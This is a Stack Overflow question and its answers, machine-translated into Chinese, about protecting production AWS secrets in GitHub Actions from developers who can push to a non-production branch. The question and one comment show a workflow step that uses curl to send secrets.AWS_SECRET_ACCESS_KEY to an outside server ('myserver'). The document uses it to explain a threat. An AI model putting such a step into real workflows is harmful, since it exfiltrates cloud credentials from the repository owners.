【问题标题】:How to protect production credentials from Github Action?如何保护生产凭证免受 Github Action 的影响?
【发布时间】:2023-03-31 02:18:02
【问题描述】:

我可能在生产中遗漏了一些关于 Github Actions 的信息,因为如果开发人员可以提交到存储库的某个分支,他们似乎可以获得存储为 Github 机密的生产密钥。

假设我有两个分支“dev”和“prod”。

推送到 prod 分支后,我有 Github 操作 deploy.workflow,它将我的更新部署到 AWS。 Github 操作中使用的凭据(AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY)存储为 Github 存储库机密。现在一切都很好。

假设我们有一个开发人员无法访问prod 分支。这个开发者现在可以创建一个新的 github 操作,推送到“dev”分支并公开密钥!

动作看起来像这样

on:
  push:
    branches: [ dev ]

jobs:
  expose:
  ....
    - name: Expose secrets
      run: curl myserver/key/${{ secrets.AWS_SECRET_ACCESS_KEY }}

查看操作日志,开发人员将能够找到生产密钥!

有什么办法可以防止这种情况发生吗?

编辑:原来秘密是从日志中过滤掉的,但仍然可以通过使用 curl 发送到您的服务器来获取它们。 (代码更新)

【问题讨论】:

  • 不,GitHub 不提供这样的功能。但可能会有来自 AWS 的 GitHub 集成。
  • 你试过了吗?秘密在日志中进行了编辑,请参阅here
  • 嗨@BenjaminW。谢谢你的答复。我明白了,我错过了那部分,谢谢分享!但是开发人员仍然可以运行操作将秘密发送到他的服务器,例如curl myserver/key/${{ secrets.AWS_SECRET_ACCESS_KEY }}
  • 这也是很长一段时间内,fork 的 PR 无法触发工作流的原因之一。

标签: github-actions


【解决方案1】:

github 存储库中的任何人现在都是团队中的协作者,他们对自己所做的更改负责。这应该正确地传达给开发人员。

更新

这是 github 操作中非常需要的功能,基本上允许通过分支来确定秘密的范围。

如果您想在其中添加您的案例场景以向他们提供更多反馈,这里是最近关于此的对话

https://github.community/t/secrets-scoped-to-branches/18524

【讨论】:

  • 但是REPO_ACCESS_TOKEN 需要对 repo2 的写入权限。所以它可以用来改变 repo2 中的工作流来提取秘密。
  • @riQQ 感谢您的关注。我更新了答案以提供一些资源。但是删除了代码,因为它是多余的,如你所说。用户仍然可以通过编辑推送到该存储库,并且仍然获得相同的最终结果。
猜你喜欢
  • 1970-01-01
  • 2010-10-01
  • 2015-10-26
  • 1970-01-01
  • 2014-04-01
  • 2014-10-21
  • 1970-01-01
  • 2012-04-05
相关资源
最近更新 更多